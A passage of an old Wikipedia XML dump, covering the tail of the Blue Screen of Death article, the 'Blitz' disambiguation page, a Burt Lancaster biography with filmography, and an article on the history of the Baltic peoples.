&amp;nbsp;&amp;nbsp;&amp;nbsp;*&amp;nbsp;&amp;nbsp;Press CTRL+ALT+DEL again to restart your computer.  You will&lt;/nowiki&gt;&lt;br&gt;&lt;nowiki&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;lose any unsaved information in all applications.&lt;/nowiki&gt;&lt;br&gt;&lt;nowiki&gt;
&lt;/nowiki&gt;&lt;br&gt;&lt;nowiki&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Press any key to continue &lt;/nowiki&gt;&lt;span style=&quot;color:#888&quot;&gt;_&lt;/span&gt;
&lt;/div&gt;&lt;/div&gt;

===Windows Me===
The following is a re-creation of a Windows Me BSoD:

&lt;div style=&quot;display:block;width:640px;background:#00a;color:#fff;padding:60px;whitespace:pre;font:14px bold;font-family:fixedsys, terminal, courier, monospace;text-align:left;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;
&lt;span style=&quot;margin:1em auto;color:#00a;background:#aaa;font:14px bold;font-family:fixedsys, terminal, courier, monospace&quot;&gt;&amp;nbsp;Windows&amp;nbsp;&lt;/span&gt;&lt;div style=&quot;text-align:left;&quot;&gt;
&lt;br&gt;&lt;nowiki&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;An error has occurred. To continue: &lt;/nowiki&gt;&lt;br&gt;&lt;nowiki&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;Press Enter to return to Windows, or Press CTRL+ALT+DEL to restart
&lt;/nowiki&gt;&lt;br&gt;&lt;nowiki&gt;
 &amp;nbsp;&amp;nbsp;&amp;nbsp;your computer. If you do this, you will lose any unsaved information &lt;/nowiki&gt;&lt;br&gt;&lt;nowiki&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;in all open applications.&lt;/nowiki&gt;&lt;br&gt;&lt;nowiki&gt;

&lt;/nowiki&gt;&lt;br&gt;&lt;nowiki&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;***&amp;nbsp;&amp;nbsp;Error: 0D : 0157 : 00005ED7&lt;/nowiki&gt;
&lt;br&gt;&lt;nowiki&gt;
&lt;/nowiki&gt;&lt;br&gt;&lt;nowiki&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Press any key to continue &lt;/nowiki&gt;&lt;span style=&quot;color:#888&quot;&gt;_&lt;/span&gt;
&lt;/div&gt;&lt;/div&gt;

==Red screen of death==
[[Image:Longhorn RSoD.png|thumb|Red screen of death]]

The '''red screen of death''' (abbreviated '''RSoD''', sometimes &quot;of doom&quot;) is a nick name for the [[error message]] which exists in some prerelease versions of [[Microsoft|Microsoft's]] upcoming [[operating system]], [[Windows Vista]].  It was dropped in Build 5112 of Windows Vista.

The [[red]] screen of death appeared when [[boot loader]] errors occured.  Windows Vista continues to have blue screens for other types of errors.

The '''red screen of death''' also sometimes refers to fatal errors in recent versions of [[Lotus Notes]]. These errors are not full-screen like the [[Microsoft]] red or blue screens of death, but rather are bright red boxes with black borders. The RSoD uses 80×25 text mode, with a screen resolution of 640×400 and a font similar to [[Fixedsys]].

==Blue screens in the IT industry==
[[System administrator]]s often use &quot;to bluescreen&quot; or &quot;to BSoD&quot; (with each letter pronounced individually&amp;mdash;that is, &quot;bee-ess-oh-dee&quot;) as a verb, as in: &quot;The server just BSoD'd&quot;, &quot;Oh, great, it's going to BSoD&quot;, or &quot;Windows 2000 doesn't bluescreen as much as NT 4 did.&quot;  (This usage is unrelated to color key [[special effects]] in [[film]], also called [[bluescreen]].)

[[Embedded system]]s running Microsoft [[Windows NT Embedded]] and [[Windows XP Embedded]] have also been known to Bluescreen [http://www.pixelbeat.org/ms_mirth/]. Typical examples are Internet [[payphone]]s, [[automatic teller machine]]s and information displays.

Some BSoDs have been caused by [[WinNuke]], which was a very popular way for [[script kiddie]]s to attack other people and disconnect computers from their Internet connections and/or cause a BSoD. The vulnerability WinNuke exploits exists only in Windows 95, and Microsoft has released a patch preventing WinNuke attacks.

==Well-known references to the blue screen of death==
As the BSoD is often subject to jokes and gags, it was also &quot;introduced&quot; to other system platforms as part of [[screensavers]].

Microsoft has also included a reference to the BSoD as an [[Easter egg (virtual)|Easter egg]] in the [[Internet Explorer]] [[Web browser|browser]] (versions 4 through 6). Typing &quot;''[[about:]]mozilla''&quot; in the address bar will result in a blank blue page being displayed. However, this has been removed with [[Windows XP#Service Pack 2|Service Pack 2]] but it can still be shown by typing &quot;''res://mshtml.dll/about.moz''&quot; instead. The command is the standard way to bring up ''[[The Book of Mozilla]]'', another Easter egg on the [[Netscape]]/[[Mozilla]] family of browsers.

Several online vendors sell blue [[T-shirt]]s that re-create the BSoD, and BSoDs commonly appear in video games and webcomics.

&lt;div style=&quot;clear: both&quot; /&gt;

==Gallery==
&lt;gallery&gt;
Image:Windows NT 3.1 BSoD.png|Windows NT 3.1
Image:Reactos_bsod.png|ReactOS
&lt;/gallery&gt;

==Reference==
*Microsoft Corp. (1996). ''Microsoft Windows NT workstation resource kit''. 1st ed. Redmond, WA: Microsoft Press.

==See also==
*[[Sad Mac]] &amp;mdash; Pre-iMac ([[Old World ROM]]) Mac OS equivalent
*[[Spinning wait cursor|Spinning wait cursor, Spinning Beach Ball of Death or Spinning Pizza of Death]] &amp;mdash; similarly-named icon in Mac OS X, that commonly means an application is busy, but can mean a serious error requiring restarting the application or the computer
*[[Guru Meditation]] &amp;mdash; Amiga OS equivalent
*[[Bomb (symbol)|Bomb]] &amp;mdash; Mac OS (old) equivalent
*[[Row of bombs]] &amp;mdash; Atari equivalent
*[[Kernel panic]] &amp;mdash; [[Unix]] variant equivalent
*[[Red screen of death]] &amp;mdash; The red counterpart which existed in pre-beta builds of [[Windows Vista]]
*[[Yellow screen of death]] &amp;mdash; A screen shown when there is XML parsing error happens in Mozilla browsers
*[[Black screen of death]] &amp;mdash; OS/2 and Windows
*Red and Blue screens of death; When the 72 pin adaptor, or the cart is bad on a [[NES]], the screen flashes these colors.
*[[Xbox 360#Xbox 360 .22Screen of Death.22|Xbox 360 screen of death]] &amp;mdash; in videogame console
*[[Green screen of death]] &amp;mdash; a error in [[TiVo]] devices.

==External links==
{{commons|BSoD}}
*[http://dxhtml.com/blue-screen Dxhtml Windows XP Blue Screen Error Examples and Error Fixer]
*[http://www.nobluescreens.com Andy Mallett's legendary Gallery of Blue Screens and Open Source Tips]
*[http://www.snabbstart.com/film/bill-faar-problem-med-demostration-av-windows.aspx Bill Gates gets the BSoD at the unveiling of Windows 98]
*[http://www.microsoft.com/downloads/details.aspx?FamilyID=859637b4-85f1-4215-b7d0-25f32057921c&amp;displaylang=en &quot;Windows Server 2003 Troubleshooting Stop Errors&quot; - microsoft.com]
*[http://aumha.org/win5/kbestop.htm Troubleshooting Windows STOP Messages]
*[http://www.mvps.org/marksxp/WindowsXP/bsod.php MVP Mark Salloway's Windows XP Resource Center - Introduction to Stop Errors]
*[http://daimyo.org/bsod/ BSoD Gallery]
*[http://zdnet.com.com/1606-2-5517693.html Bloopers bedevil Gates at CES] - BSoD during Bill Gates' keynote address at the 2005 Consumer Electronics Show in Las Vegas ([[ZDNet]], January 7, 2005).
* [http://blogs.msdn.com/michkap/archive/2005/05/07/415335.aspx Original report of RSoD from a Microsoft employee]
* [http://joi.ito.com/archives/2005/05/07/bsod_upgrades_to_rsod_in_longhorn.html BSoD upgrades to RSoD in Longhorn from Joi Ito]

[[Category:Microsoft Windows]]
[[Category:Screens of death]]

{{Link FA|hu}}

[[bg:BSOD]]
[[cs:BSOD]]
[[da:BSOD]]
[[de:Blue Screen Of Death]]
[[es:Blue screen of death]]
[[fr:Écran bleu de la mort]]
[[it:Blue Screen of Death]]
[[ko:블루스크린 (컴퓨터)]]
[[he:המוות הכחול]]
[[hu:Kék halál]]
[[nl:Blue Screen of Death]]
[[pl:BSOD]]
[[pt:BSOD]]
[[sk:Modrá obrazovka smrti]]
[[fi:BSOD]]
[[sv:Blåskärm]]
[[tl:Blue screen of death]]
[[tr:Mavi ekran]]
[[zh:BSoD]]</text>
    </revision>
  </page>
  <page>
    <title>Blue-tailed skink</title>
    <id>4533</id>
    <revision>
      <id>15902798</id>
      <timestamp>2004-03-04T11:43:33Z</timestamp>
      <contributor>
        <username>Lupo</username>
        <id>34978</id>
      </contributor>
      <comment>redir: much better description at [[Eumeces]]</comment>
      <text xml:space="preserve">#REDIRECT [[Eumeces]]</text>
    </revision>
  </page>
  <page>
    <title>Blitz</title>
    <id>4536</id>
    <revision>
      <id>41566418</id>
      <timestamp>2006-02-28T04:48:37Z</timestamp>
      <contributor>
        <username>Chanlord</username>
        <id>511253</id>
      </contributor>
      <minor />
      <text xml:space="preserve">'''Blitz''', the [[German language|German]] word for [[lightning]], and often used figuratively as in ''blitzschnell'' (as fast as lightning), may mean any of a number of things in [[English language|English]]:

*[[Blitzkrieg]], the &quot;lightning war&quot; strategy of WWII Germany
*[[The Blitz]], the German aerial attacks on Britain in WWII
*[[Baedeker Blitz]], the reprisal bombing of strategically unimportant but picturesque British cities
*[[Blitz (American football)]], a defensive maneuver in American football
*[[Blitz (NFL Mascot)]], the mascot of the [[NFL]]'s [[Seattle Seahawks]]
*[[Blitz chess]], a fast chess game allowing only 5 minutes for each player
*[[Blitz Games]], British computer games company
*[[Blitz BASIC]], a fast dialect of the BASIC programming language
*[[Blitz (game)]], a card game
*[[Blitz (Computer Game)]], a bombing game for the Commodore PET
*Blitz may also refer to the alter-ego of the character George in the web comic [[Bob and George]]
*out of production truck models by [[Opel]] and [[Bedford Trucks/Buses]]
*[[BlitzMail]] is the name of the internal [[e-mail]] network at [[Dartmouth College]]
*[[Blitz (magazine)|''Blitz'' (magazine)]] is a student publication that is run by the [[Source (UNSW)|Source]] on the [[University of New South Wales]] campus in [[Sydney]], [[Australia]]
*[[Blitz (band)]], British Oi!/Punk legend
*[[Blitz! (musical)]], a musical by [[Lionel Bart]] based on [[The Blitz]] 
*[[Blitz (band)]], an early [[oi!]] band. [http://www.allmusic.com/cg/amg.dll?p=amg&amp;uid=CAW060510211501&amp;sql=11:nu7ibk096akc~T0]
*[[Blitz]], nickname for both Ford and Chevrolet Canadian Military Pattern trucks made for use in WW2 [http://www.oldcmp.net/indexes.html]
*Blitz, a 1980s night club in London, see [[Blitz Kids]] 
In English, ''[[blitz]]'' is also used as a verb, meaning to attack something rapidly, usually in a [[bathos|bathetic]] sense, as with '[[nuke]]' or 'exterminate', i.e. one might 'blitz' housework, lunch, or ants. For political reasons, military commanders avoid the terms 'blitz' and 'blitzkrieg' when referring to actual military operations.
*[[GAT-X207 Blitz Gundam]], a Mobile Suit in [[Mobile Suit Gundam SEED]].


It is also used as a slang word for feeling strong effects after using marijuana. For example &quot;God, this is good stuff. I'm so blitzed&quot;

==''Blitz'' in German==
The term ''Blitz'' (literal translation: [[lightning]]) is used in the German language for &quot;extraordinary&quot;:  like &quot;blitzschnell&quot; for extraordinarily fast, &quot;blitzsauber&quot; for extraordinarily clean, &quot;blitzgescheit&quot; for extraordinarily smart. Today these words have started sounding a bit outdated. Another common use is &quot;wie ein Blitz einschlagen&quot;  striking like a lightning/bolt, a phrase for something material or non-material reaching the people unexpectedly, quickly and surprisingly like a new product with extraordinary success or totally unexpected news. Blitz also refers to the old god [[Thor]].  Germanic mythology gained some importance during the [[Third Reich]]. 

{{disambig}}

[[Category:German loanwords]]

[[fr:blitz]]
[[no:Blitz (andre betydninger)]]</text>
    </revision>
  </page>
  <page>
    <title>Burt Lancaster</title>
    <id>4537</id>
    <revision>
      <id>41008252</id>
      <timestamp>2006-02-24T13:09:04Z</timestamp>
      <contributor>
        <ip>170.97.67.142</ip>
      </contributor>
      <comment>/* External links */</comment>
      <text xml:space="preserve">[[Image:Burt_Lancester.jpg|thumb|right|Burt Lancaster]]
'''Burt Lancaster''' ([[November 2]], [[1913]] – [[October 20]], [[1994]]) was an [[United States|American]] film [[actor]]. Born '''Burton Stephen Lancaster''' in [[New York City]] to James Henry Lancaster (a postman) and Elizabeth Roberts, both of whom were the children of [[Ireland|Irish]] [[Protestant]] immigrants. He grew up in [[Hells Kitchen]] and spent much of his time on the streets, where he developed great interest and skill in [[gymnastics]]. Later, he worked as a circus [[acrobatics|acrobat]] until an injury forced him to give up the profession.

During [[World War II|WWII]], Lancaster joined the [[United States Army]] and performed with the [[United Service Organizations|USO]]. Though initially unenthusiastic about acting, he returned from service, auditioned for a [[Broadway theatre|Broadway]] play and was offered a role. Though the play was not successful, Lancaster's performance drew the attention of a [[Hollywood]] agent who had him cast in the [[1946 in film|1946]] motion picture ''[[The Killers (1946 film)|The Killers]]''. The muscular, 6'2&quot; actor won significant acclaim and appeared in two more films the following year. Subsequently, he played in a variety of movies, but especially in dramas, thrillers, military and adventure films. In two of the adventures, ''[[The Flame and the Arrow]]'' and ''[[The Crimson Pirate]]'', a friend from his circus years, [[Nick Cravat]], played a leading role, and both actors impressed audiences with their acrobatic prowess. In the mid [[1950s|'50s]], Lancaster went on challenging himself with varied cinematic roles, and satisfied longtime aspirations by moving into film producing as well. In most of his roles, whether in drama, circus, [[western movie|western]] or other genres, the self-taught actor was successful; he evolved into a solid and versatile performer and eventually a superstar. His work was recognized in [[1960 in film|1960]] when he won the [[Academy Award for Best Actor]], a [[Golden Globe Award]], and the New York Film Critics Award for his performance in ''[[Elmer Gantry]]''.

During the latter part of his career, Lancaster left adventure and acrobatic movies behind and portrayed distinguished characters, earning himself ever greater prestige among directors and audiences alike. This period brought him work on several [[Europe|European]] productions with [[film director|director]]s including [[Luchino Visconti]] and [[Bernardo Bertolucci]].  Lancaster sought demanding roles and, if he liked a part or a director, was prepared to work for much lower pay than he might have earned elsewhere; he even helped to finance movies in whose artistic value he believed. He produced a number of films himself and also mentored such new directors as [[Sydney Pollack]] and [[John Frankenheimer]], thus adding to his numerous acting achievements a pioneering role the development of [[independent cinema]]. He also appeared in several TV films.

For his contribution to the motion picture industry, Burt Lancaster has a star on the [[Hollywood Walk of Fame]] at 6801 Hollywood Blvd.

He was also an unabashed liberal activist and spoke out many times in support of minorities and forming liberal groups. 

As famous for his prickly, temparamental personality as much as he was for his skills at blending into and out of different characterizations, Lancaster vigorously guarded his private life. He was married three times and had five children. His first spouse, from [[1935]] to [[1946]], was June Ernst, from whom he divorced. His second marriage was with Norma Anderson from [[1946]] to [[1969]] and also ended in divorce. His third wife was Susan Martin, whom he married in [[1991]].  As Mr. Lancaster aged, heart trouble increasingly hindered him from working as intensely as his passion and determination demanded.  He eventually had to undergo open-heart surgery, and a cerebral stroke in [[1990]] left him in a wheel-chair, partly paralyzed.  At home in [[Los Angeles, California|Los Angeles]] on October 20, 1994, Burt Lancaster died of a heart attack at the age of 80.

Lancaster was [[cremated]]; his ashes were interred at [[Westwood Village Memorial Park Cemetery]].

== Quotes ==
Most people seem to think I’m the kind of guy who shaves with a blowtorch. Actually, I’m bookish and worrisome.

===Academy Awards for Best Actor===
*1953:&amp;nbsp; ''[[From Here to Eternity]]'' - Nomination
*1960:&amp;nbsp; ''[[Elmer Gantry]]'' - Winner
*1962:&amp;nbsp; ''[[Birdman of Alcatraz]]'' - Nomination
*1981:&amp;nbsp; ''[[Atlantic City]]'' - Nomination

===Filmography===
*''[[The Killers (1946 film)|The Killers]]'' ([[1946]])
*''[[Brute Force (1947 movie)|Brute Force]]'' ([[1947]])
*''[[Desert Fury]]'' ([[1947]])
*''[[Variety Girl]]'' ([[1947]]) (Cameo)
*''[[I Walk Alone]]'' ([[1948]]) 
*''[[All My Sons]]'' ([[1948]])
*''[[Sorry, Wrong Number]]'' ([[1948]])
*''[[Kiss the Blood Off My Hands]]'' ([[1948]])
*''[[Criss Cross (1949 movie)]]'' ([[1949]])
*''[[Rope of Sand]]'' ([[1949]])
*''[[The Flame and the Arrow]]'' ([[1950]])
*''[[Mister 880]]'' ([[1950]])
*''[[Vengeance Valley]]'' ([[1951]])
*''[[The Screen Director]]'' ([[1951]]) (short subject)
*''[[Jim Thorpe - All American]]'' ([[1951]])
*''[[Ten Tall Men]]'' ([[1951]])
*''[[The Crimson Pirate]]'' ([[1952]]) (also producer)
*''[[Come Back, Little Sheba]]'' ([[1952]])
*''[[South Sea Woman]]'' ([[1953]])
*''[[From Here to Eternity]]'' ([[1953]])
*''[[Three Sailors and a Girl]]'' ([[1953]]) (Cameo)
*''[[His Majesty O'Keefe]]'' ([[1954]])
*''[[Apache]]'' ([[1954]]) (also producer)
*''[[Vera Cruz (movie)|Vera Cruz]]'' ([[1954]]) (also co-producer)
*''[[The Kentuckian]]'' ([[1955]]) (also director)
*''[[The Rose Tattoo]]'' ([[1955]])
*''[[Screen Snapshots: Playtime in Hollywood]]'' ([[1956]]) (short subject)
*''[[Trapeze]]'' ([[1956]]) (also producer)
*''[[The Rainmaker]]'' ([[1956]])
*''[[The Heart of Show Business]]'' ([[1957]]) (short subject) (narrator)
*''[[Gunfight at the O.K. Corral]]'' ([[1957]]) 
*''[[Sweet Smell of Success]]'' ([[1957]]) 
*''[[Run Silent Run Deep]]'' ([[1958]])
*''[[Separate Tables]]'' ([[1958]])
*''[[The Devil's Disciple]]'' ([[1959]])
*''[[The Unforgiven (1960 film)|The Unforgiven]]'' ([[1960]]) (also co-producer)
*''[[Elmer Gantry]]'' ([[1960]])
*''[[The Young Savages]]'' ([[1961]])
*''[[Judgment at Nuremberg]]'' ([[1961]])
*''[[Birdman of Alcatraz]]'' ([[1962]])
*''[[A Child Is Waiting]]'' ([[1963]])
*''[[The Leopard]]'' ([[1963]])
*''[[The List of Adrian Messenger]]'' ([[1963]]) (Cameo)
*''[[Seven Days in May]]'' ([[1964]])
*''[[The Train]]'' ([[1964]])
*''[[Handle with Care]]'' ([[1965]]) (short subject) (narrator)
*''[[The Hallelujah Trail]]'' ([[1965]])
*''[[The Professionals]]'' ([[1966]])
*''[[All About People]]'' ([[1967]]) (short subject) (narrator)
*''[[The Scalphunters]]'' ([[1968]]) (also producer)
*''[[The Swimmer]]'' ([[1968]])
*''[[Jenny Is a Good Thing]]'' ([[1969]]) (short subject) (narrator)
*''[[Castle Keep]]'' ([[1969]])
*''[[The Gypsy Moths]]'' ([[1969]])
*''[[Airport (movie)|Airport]]'' ([[1970]])
*''[[King: A Filmed Record... Montgomery to Memphis]]'' ([[1970]]) (documentary)
*''[[Ali: The Fighter]]'' ([[1971]]) (documentary)
*''[[Lawman]]'' ([[1971]])
*''[[Valdez Is Coming]]'' ([[1971]])
*''[[Ulzana's Raid]]'' ([[1972]]) (also producer)
*''[[Scorpio (movie)|Scorpio]]'' ([[1973]])
*''[[Executive Action (movie)|Executive Action]]'' ([[1973]])
*''[[The Midnight Man]]'' ([[1974]]) (also director, producer, and writer)
*''[[Conversation Piece]]'' ([[1974]])
*''[[The Cinema According to Bertolucci]]'' ([[1975]]) (documentary)
*''[[Victory At Entebbe]]'' ([[1976]])
*''[[Buffalo Bill and the Indians, or Sitting Bull's History Lesson]]'' ([[1976]])
*''[[1900 (movie)|1900]]'' ([[1976]])
*''[[The Cassandra Crossing]]'' ([[1976]])
*''[[Exploring the Unknown]]'' ([[1977]]) (documentary) (narrator)
*''[[Twilight's Last Gleaming]]'' ([[1977]]) 
*''[[The Island of Dr. Moreau]]'' ([[1977]])
*''[[Go Tell the Spartans]]'' ([[1978]])
*''[[Zulu Dawn]]'' ([[1979]])
*''[[Atlantic City (film)|Atlantic City]]'' ([[1980]])
*''[[Cattle Annie and Little Britches]]'' ([[1981]])
*''[[The Skin]]'' ([[1981]])
*''[[Local Hero]]'' ([[1983]])
*''[[The Osterman Weekend]]'' ([[1983]])
*''[[Little Treasure]]'' ([[1985]])
*''[[Tough Guys]]'' ([[1986]])
*''[[Mind Control (movie)|Mind Control]]'' ([[1987]])
*''[[The Jeweller's Shop]]'' ([[1988]])
*''[[Rocket Gibraltar]]'' ([[1988]])
*''[[Field of Dreams]]'' ([[1989]])

==External links==
*{{imdb name|id=0000044|name=Burt Lancaster}}
* [http://www.thegoldenyears.org/lancast.html Classic Movies (1939 - 1969): Burt Lancaster]
* [http://www.findagrave.com/cgi-bin/fg.cgi?page=gr&amp;GRid=1835&amp;pt Find-A-Grave profile Burt Lancaster]

[[Category:1913 births|Lancaster, Burt]]
[[Category:1994 deaths|Lancaster, Burt]]
[[Category:Film actors|Lancaster, Burt]]
[[Category:American actors|Lancaster, Burt]]
[[Category:Best Actor Oscar|Lancaster, Burt]] &lt;!-- Elmer Gantry --&gt;
[[Category:Best Actor Oscar Nominee|Lancaster, Burt]] &lt;!-- From here to Eternity, Birdman of Alcatraz, Atlantic City (movie) --&gt;
[[Category:Hollywood Walk of Fame|Lancaster, Burt]]
[[Category:People from New York City|Lancaster, Burt]]
[[Category:Irish-American actors|Lancaster, Burt]]
[[Category:English Americans|Lancaster, Burt]]
[[Category:Entertainers who died in their 80s|Lancaster, Burt]]

[[ca:Burt Lancaster]]
[[de:Burt Lancaster]]
[[es:Burt Lancaster]]
[[eo:Burt LANCASTER]]
[[fr:Burt Lancaster]]
[[ja:バート・ランカスター]]
[[nn:Burt Lancaster]]
[http://www.epinions.com/mvie-review-6F76-903F267-38A85854-prod6 Go Tell the Spartans]
[[sr:Берт Ланкастер]]
[[fi:Burt Lancaster]]
[[sv:Burt Lancaster]]</text>
    </revision>
  </page>
  <page>
    <title>Bio accumulate</title>
    <id>4538</id>
    <revision>
      <id>15902802</id>
      <timestamp>2003-05-15T03:22:07Z</timestamp>
      <contributor>
        <username>Minesweeper</username>
        <id>7279</id>
      </contributor>
      <minor />
      <comment>fix double redir</comment>
      <text xml:space="preserve">#REDIRECT [[Bioaccumulation]]</text>
    </revision>
  </page>
  <page>
    <title>Balts</title>
    <id>4540</id>
    <restrictions>move=:edit=</restrictions>
    <revision>
      <id>41821766</id>
      <timestamp>2006-03-01T23:37:47Z</timestamp>
      <contributor>
        <username>Phil Boswell</username>
        <id>24373</id>
      </contributor>
      <comment>migrate {{web reference}} to {{[[template:cite web|cite web]]}} using [[Wikipedia:AutoWikiBrowser|AWB]]</comment>
      <text xml:space="preserve">::''For more information on Germans inhabiting the shores of the [[Baltic Sea]] see [[Baltic Germans]]''
[[Image:Baltic sea map.jpg|thumb|320px|The Baltic Sea]]

The '''Balts''' or '''Baltic peoples''' ([[Latvian language|Latvian]]: ''balti'', [[Lithuanian language|Lithuanian]]: ''baltai''), defined as speakers of one of the [[Baltic languages]], a branch of the [[Indo-European language]] family, are descended from  a group of [[Indo-European]] tribes who settled the area between lower [[Vistula]] and upper [[Daugava|Dvina]] and [[Dnieper river|Dneper]]. Because of geographical isolation, the Baltic languages retain a number of conservative or archaic features. Among the Baltic peoples are modern [[Lithuanians]] and [[Latvians]] as well as the [[Prussians]], [[Yotvingians]] and [[Curonians]], whose languages were extinct in the [[Middle Ages]]. 

==History==
The prehistoric cradle of the Baltic peoples according to [[Archaeogenetic|archeogenetic]] research and archaeological studies was the area near the Baltic sea and central Europe at the end of [[ice age]] and beginning of the [[Mesolith]]ic period. They spread in the area from Baltic sea in the west to the Volga in the east. Slavic cradle was in Danubian - Krakowian region close to Baltic. Slavs entered the [[Dnepr]] region in the VI a. after [[Avar]] invasion into Europe conquerring and assimilating eastern Balts. According to some false old theories the cradle area was very late near the upper and middle Dnepr river in modern [[Ukraine]] settled by a hypothetical [[Balto-Slavic languages|Balto-Slavic community]]; that is, a population ancestral to the modern Balts and [[Slavs]]. In the early [[1st millennium BC]] several groups of people migrated from the area to the shores of the [[Baltic Sea]], where they settled between the rivers [[Pasłęka]] and [[Neman River|Neman]]. It is not probable that this migration gave birth to the Baltic tribes. 

Several scholars, such as Buga, [[Max Vasmer|Vasmer]], [[Toporov]] and Trubachov, in conducting etymological studies of eastern European river names, were able to identify certain regions of specifically Baltic provenience, which most likely indicate where the Balts lived in prehistoric times. This information is summarized and synthesized by [[Marija Gimbutas|Gimbutas]] in ''The Balts'' (1963) to obtain a likely proto-Baltic homeland. Its borders are approximately: from a line on the [[Pomerania|Pomeranian]] coast eastward to include or nearly include the present-day sites of [[Warsaw]], [[Kiev]], and [[Kursk]], northward through [[Moscow]] to the River Berzha, westward in an irregular line to the coast of the Gulf of Riga, north of [[Riga]]. This homeland includes all historical Balts and every location where Balts have been said or implied to be at different periods of time. The [[Galindae|Baltic occupation of Western Russia]], for instance, may be dated to the 4th century AD.

In the first centuries of [[1st millennium]], the Baltic tribes settled the area between Vistula and Daugava. Their culture is easily recognizable and most probably they were the ancestors of the tribes of Western Balts ([[Prussians]], [[Yotvingians]] and [[Galindians]]), as well as Eastern Balts ([[Lithuanians]], [[Curonians]] and [[Latvians]]), notable during the [[Middle Ages]]. In [[98|98 AD]] [[Tacitus]] described one of the tribes leaving near the Baltic Sea (''Mare Svebicum'') as ''Aestiorum gentes'', or [[amber]] gatherers. It is believed that these peoples were inhabitants of the [[Sambia (Baltic)|Sambian]] peninsula, although no other contemporary sources exist. 

The Baltic culture that remained in the Dneper area, although bore significant resemblance to its  Baltic counterpart, was also similar to culture of other peoples inhabitating the forests of [[Eastern Europe]] and became almost completely [[Slavic peoples|Slavicised]] between [[7th century|7th]] and [[10th century|10th centuries]]. 

In [[12th century|12th]] and [[13th century|13th centuries]], internal struggles, as well as invasions of [[Ruthenians]] and [[Poles]] and later the expansion of the [[Teutonic Order]] resulted in almost complete annihilation of the Galindians, Curonians and Yotvingians. The last of the Prussians became [[germanization|Germanized]] some time in [[16th century]], after the [[Reformation]] in [[Prussia]]. Remaining cultures of Lithuanians and Latvians survived and became the ancestors of modern countries of [[Latvia]] and [[Lithuania]].

In addition, and to great extent in contradiction to research on the basis of linguist analysis, genetics-related data has started to emerge in recent years. According to Finnish research (Laitinen et al, 2001) and Richard Villems (2001, Estonia) who have carried out principal component analysis of some major genetic lines, the closest genetic relatives of modern Balts (Lithuanians and Latvians) appear to be modern Estonians and Mari people (autonomous republic of Mari-El in Russia) while Russians and Polish have considerably lesser genetic similarity. This lead some scientists to believe falsely that the people known today as Balts were initially to great extent of [[Finno-Ugric]] origin - thus, the language spoken today by them is a takeover. Finns (genetic haplogroup N3) entered the Baltic area very late - in the middle Neolithic after sharp climate change in upper Ural and made the little influence to the baltic Nemunas and Narva neolithic archaeological cultures, but inhabited Estonian area.

== Baltic peoples and tribes ==
*[[Lithuanians]]
*[[Latvians]] (Letts)
*[[Prussian people |Prussians]]
*[[Samogitia]]ns
*[[Semigallians]] (Zemigalians)
*[[Yotvingians]]
*[[Selonians]]
*[[Curonians]] (Kursi)
*[[Nadruvians]]
*[[Skalvians]]
*[[Eastern Galindians]]
*[[Dniepr (Eastern) Balts]]
*[[Pomeranian Balts]]

==External links==
* [http://www.istorija.net/ Pages and Forums on the Lithuanian History]

== References ==
* {{cite web
 | title=Bałtowie
 | work=Encyklopedia Internetowa PWN
 | url=http://encyklopedia.pwn.pl/5504_1.html
 | accessdate=May 25 | accessyear=2005
 }}
* {{cite book
 | first = Jerzy | last = Antoniewicz
 | authorlink = Jerzy Antoniewicz
 | coauthors = [[Aleksander Gieysztor]]
 | title=Bałtowie zachodni w V w. p. n. e. - V w. n. e. : terytorium, podstawy gospodarcze i społeczne plemion prusko-jaćwieskich i letto-litewskich
 | location = [[Olsztyn]]-[[Białystok]]
 | publisher = Pojezierze
 | year=1979
 | id=ISBN 8370020011
 }}
* {{pl icon}} {{cite book
 | first = Marceli | last = Kosman
 | authorlink = Marceli Kosman
 | title=Zmierzch Perkuna czyli ostatni poganie nad Bałtykiem
 | location = Warsaw
 | publisher = Książka i Wiedza
 | year=1981
 }}
* {{cite book
 | first = Irena | last = Čepiene
 | authorlink = Irena Cepiene
 | title=Historia litewskiej kultury etnicznej
 | publisher=[[Kaunas]], &quot;Šviesa&quot;
 | year=2000
 | id=ISBN 5430029025
 }}
* {{pl icon}} {{cite book
 | first = Łucja | last = Okulicz-Kozaryn
 | authorlink = Lucja Okulicz-Kozaryn
 | title=Życie codzienne Prusów i Jaćwięgów w wiekach średnich
 | location = Warsaw
 | publisher = Państwowy Instytut Wydawniczy
 | year=1983
 }}
* {{Citeencyclopedia
 | ency=1911 Encyclopedia Britannica
 | edition=1
 | year=1911
 | article=Lithuanians
 }}
* {{Citeencyclopedia
 | ency=Wielka Encyklopedia PWN
 | edition=1
 | year=2001
 | article=Bałtowie
 }}

[[Category:Ancient peoples]]
[[Category:Baltic peoples]]
[[Category:History of Latvia]]
[[Category:History of Lithuania]]
[[Category:History of Prussia]]

[[de:Balten]]
